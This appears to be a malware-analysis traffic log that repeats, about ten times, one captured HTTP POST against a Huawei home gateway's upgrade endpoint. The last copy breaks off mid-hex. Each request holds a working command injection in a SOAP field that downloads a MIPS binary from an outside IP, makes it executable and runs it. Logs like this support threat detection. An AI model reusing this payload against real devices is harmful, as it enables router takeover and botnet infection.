Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 